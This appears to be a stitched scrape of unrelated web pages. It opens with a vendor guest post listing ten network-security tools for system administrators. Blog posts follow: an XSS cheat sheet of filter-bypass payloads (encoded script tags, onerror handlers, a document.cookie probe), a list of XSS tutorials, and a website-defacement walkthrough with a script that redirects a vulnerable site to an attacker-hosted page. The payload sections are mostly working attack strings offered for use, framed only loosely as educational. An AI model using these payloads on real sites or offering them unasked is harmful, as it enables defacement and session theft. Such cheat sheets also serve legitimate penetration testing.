10 System Admin Tools to Help You Secure Your Network

System admins are frequently bombarded with security concerns, requests, alerts, news items, “did you see this?!” emails, and more. Keeping up with all the aspects of network security can seem like an overwhelming task, but in this post we’re going to look at ten tools a system admin can use to help secure their network. Some you may be familiar with, like network security software, while others may come as a surprise, like your email client; but all will help you to stay ahead of the bad guys, keep yourself informed of the latest threats, and maintain the security of your network.

1. Network security software
When we talk about network security software, we’re talking about a class of product more than any specific tool, and how important it is for you to have an application or small group of applications that can help you to accomplish most of your tasks. There are simply too many things for any one admin to do by hand, and network security software applications help to automate the heavy lifting and ensure that you can keep up with the workload. Look for network security software that multitasks. Think about it as a Swiss Army knife of software packages that includes many of the other items on this list.

2. Vulnerability scanner
A good vulnerability scanner is a key part of any toolkit, and should be used by server admins and security engineers alike. The top network security software apps will include a scanner that has a database of the thousands of vulnerabilities that could exist on your network, so that you can quickly, easily and regularly scan your network to ensure you systems are up-to-date, configured properly and secured.

3. Port scanner
A port scanner is another regular tool that should be in your network security software application. Attackers regularly scan your Internet connection looking for ways in and so should you. But you should also scan internally so you can find unauthorized services or misconfigured systems, and to validate your internal firewalls are set up correctly.

4. Patching software
Patching operating systems and third party applications is one of the most important, regularly recurring tasks a sys admin has. Network security software that can automate this, and handle the hundreds of other applications on your network, is the only realistic way you can keep up with this.

5. Auditing software
Auditing software may strike you as a strange recommendation at first, but consider all those apps you are trying to patch. How can you be sure you have no vulnerabilities on your systems if your users can install anything on your systems? How are you going to maintain licensing compliance if you don’t know who has installed what from \software? Network security software may also include software and hardware inventory components to help you stay informed and secure.

6. Secure remote clients
Telnet, older versions of PCAnyWhere and several of the web-based remote access apps that are out there all have a common issue - they’re not secure. Use SSH v2 or later for secure access to all CLI-based systems, and the most secure versions of Remote Desktop Protocol to manage Windows boxes. Using strong encryption, good passwords, lockout policies and, when possible, mutual authentication between client and host, will help to ensure no one sniffs credentials or brute-forces their way into a system. If you have two-factor authentication in your environment, ensure that every system possible uses it to further reduce your risk from unauthorized access.

7. A good network analyzer
Whether you like the open source WireShark, the free Microsoft tool NetMon, or one of the many other commercial network analysis tools, having a good “sniffer” is key to helping secure and analyze systems. There is simply no way that’s more effective to figure out just what is going on between networked systems than to see the traffic first hand.

8. Network tools
Whenever you are dealing with connections from foreign systems, you will find the need to check network addresses, routes and more. Having good tools like DIG, WHOIS, HOST, TCPING and others close at hand makes network evaluation a breeze.

9. Log parsing software
Securing systems means going through logs; lots of them. Web logs, access logs, system logs, security logs, SNMP logs, syslog logs – the list goes on and on. Having software that can quickly and easily parse through logs is critical. Everyone has their favorite. Some install locally like LogParser, while others run on servers like Splunk. Whichever you prefer, get a good log parser to help wade through what can be millions of entries quickly and easily so you can find events you need to check.

10. Your email client
Knowledge is power, and the best way to amass that knowledge is to stay informed. Whether you subscribe to email bulletins, security alerts, or RSS feeds, your email client can provide you the first indications that something new is out there, and also what you need to do to protect your systems from the threat. Zero day exploits, out of band patches, best practices and more, can all be yours if you simply join the right distribution lists and subscribe to the right lists.

These 10 system admin tools are a great start towards building your toolkit for security. Network security software plays a major role in this toolkit, which you supplement with other tools and the information you need to maintain a secure environment.

This guest post was provided by Emmanuel Carabott on behalf of GFI Software Ltd. Learn more about the importance of a secure business network by downloading the free eBook: A first aid kit for SysAdmins. All product and company names herein may be trademarks of their respective owners.

XSS attacks practical examples ~ Cross site Scripting Exploits

Hello BTS readers,  So far i explained about XSS attacks and risks of this vulnerability; also i have provided guide to setup your own pentesting lab(using dvwa) to practice XSS attacks.

Dvwa is limited to few xss methods.  You may curious to know more about the practical examples for the XSS attacks. eHackingNews will help you to know more about the latest XSS attacks.

The XSS Vulnerability section in the EhackingNews covers the latest XSS attacks submitted by Security Experts and GreyHat hackers. This will give you an idea about the xss attack.

Recent report from EHN: Ubuntu website is vulnerable to XSS attack.

Complete Cross site Scripting(XSS) cheat sheets : Part 1

I am just providing this XSS Cheat sheet after collecting the exploit-codes from hackers' techniques and different sites especially http://ha.ckers.org/xss.html .  This is complete list of XSS cheat codes which will help you to test xss vulnerabilities ,useful for bypassing the filters.  If you have any different cheat codes , please send your code.

Basic XSS codes:
----------------------------------

<script>alert("XSS")</script>

<script>alert("XSS");</script>

<script>alert('XSS')</script>

"><script>alert("XSS")</script>

<script>alert(/XSS")</script>

<script>alert(/XSS/)</script>

When inside Script tag:
---------------------------------

</script><script>alert(1)</script>
‘; alert(1);
')alert(1);//

Bypassing with toggle case:
--------------------------------------

 <ScRiPt>alert(1)</sCriPt>
  <IMG SRC=jAVasCrIPt:alert('XSS')>

XSS in Image and HTML tags:
---------------------------------------------

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
 <IMG SRC=javascript:alert('XSS')>      

<img src=xss onerror=alert(1)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert('XSS');">

<IMG SRC="jav&#x09;ascript:alert('XSS');">

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<BODY BACKGROUND="javascript:alert('XSS')">

<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"

<iframe src=http://ha.ckers.org/scriptlet.html <

Bypass the script tag filtering:
--------------------------------------------------

<<SCRIPT>alert("XSS");//<</SCRIPT>

%253cscript%253ealert(1)%253c/script%253e

"><s"%2b"cript>alert(document.cookie)</script>

foo<script>alert(1)</script>

<scr<script>ipt>alert(1)</scr</script>ipt>

Using String.fromCharCode function:
-----------------------------------------------------

<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

You can combine the above mentioned codes and make your own cheat code.

Note:
We are extending the cheat sheet.  Soon we will publish the part 2.

Complete Cross Site Scripting(XSS) Guide : Web Application Pen Testing

Hello BTS readers, Here is complete set of posts that explains everything about the Cross site scripting.  Still more articles are on the way, Stay tuned to BreakTheSec..!


Link To Tutorials:

• Cross Site Scripting(XSS) Basics
• DOM Based XSS attack
• XSS Filter Bypass Techniques
• Self-XSS (Cross Site Scripting) :Social Engineering Attack and Prevention 
• XSS Cheat Sheet 
• XSS Attacks Examples
• Cookie stealing with XSS 
• Deface a website

PenTesting Lab to practice XSS attacks:

• Ethical Hacking Lab with Bodgeit App
• XSS Lab with DVWA web app

How to deface website with Cross Site Scripting ? : Complete XSS Tutorial

This is my third article about Cross site Scripting Tutorial. Last time, i explained how to do vulnerability test for XSS and some filter bypassing technique. Now let us see how a hacker deface a website with XSS vulnerability?

Never implement this technique. I am just explaining it for educational purpose only.

Defacing is one of the most common thing when the hacker found the vulnerability in website. Defacing is changing the content the website hacker content. Most of time, attacker use this technique to inform about the vulnerability to Admin. But it's bad idea..!

Script for chaning the background Color of a website:
<script>document.body.bgColor="red";</script>


Script for chaning the background image of a website:
<script>document.body.background="http://your_image.jpg";</script>

Defacement Page with Pastehtml:

First of all upload some defacement page(html) to pastehtml.com and get the link.

When you find a XSS vulnerable site, then insert the script as :
<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>

This script will redirect the page to your pastehtml defacement page.

Note: You can deface only persistent XSS vulnerable sites.